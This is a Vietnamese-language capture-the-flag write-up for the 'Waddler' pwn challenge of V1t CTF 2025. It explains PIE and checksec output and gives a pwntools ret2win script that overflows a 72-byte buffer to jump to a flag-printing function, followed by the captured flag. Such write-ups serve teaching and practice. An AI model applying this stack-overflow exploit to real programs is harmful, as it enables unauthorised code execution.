Đề bài

Giải
Đầu tiên mình sẽ checksec xem PIE bật hay tắt
$ checksec ./chall
[*] '/mnt/d/Documents/CTF/2025 CTF/V1t CTF 2025/Pwn/Waddler/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Lý do mình checksec và kiểm tra PIE là vì PIE (Position-Independent Executable) cho biết mã của binary chính có bị random địa chỉ khi load hay không
Những điều có thể rút ra được khi check PIE:
- PIE bật (ELF Type: DYN / “PIE enabled”)
- Base address của binary random mỗi lần chạy (nhờ ASLR)
- Mọi địa chỉ hàm/gadget trong binary = base + offset. Offset cố định, base thì không
- Hệ quả khai thác: phải leak 1 địa chỉ (trong binary hoặc trong libc) → tính base → mới nhảy/ROP chính xác
- Một leak duy nhất từ module nào thì chỉ xác định base của module đó (leak địa chỉ của libc → biết base libc; leak địa chỉ trong main → biết base main)
- PIE tắt (ELF Type: EXEC / “No PIE”)
- .text của binary cố định địa chỉ (vd ~0x401000 vùng 0x400000)
- Bạn có thể hardcode địa chỉ hàm/gadget (ret2win, one-gadget…) mà không cần leak (giả sử không có canary/RELRO cản trở kỹ thuật khác)
Dựa trên những thông tin mình có được thì PIE đã tắt, vậy địa chỉ mình có và server có là cố định
Mình sẽ sử dụng IDA để leak địa chỉ
IDA
Đầu tiên mình sẽ xem hàm main làm gì

Hàm main gọi một hàm fgets, đây là nơi lý tưởng để ghi đè return address và nhảy vào hàm in ra flag
Sau đó mình tìm thấy hàm duck in ra flag như sau

Địa chỉ hàm duck là tại offset 0x40128C

Bước tiếp theo mình sẽ tạo payload để ghi đè return address của fgets trong main
Payload
from pwn import *
elf = ELF('./chall')
HOST, PORT = 'chall.v1t.site', 30210
offset = 72
duck = 0x40128c
payload = b'A'*offset + p64(duck)[:-1]
io = remote(HOST, PORT)
io.recvuntil(b'The Ducks are coming!\n')
io.send(payload)
io.send(b'\n')
print(io.recvall(timeout=2).decode(errors='ignore'))
Flag
Flag: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}
'WriteUp > Pwn' 카테고리의 다른 글
| Polygot - BuckeyeCTF 2025 (0) | 2025.11.09 |
|---|
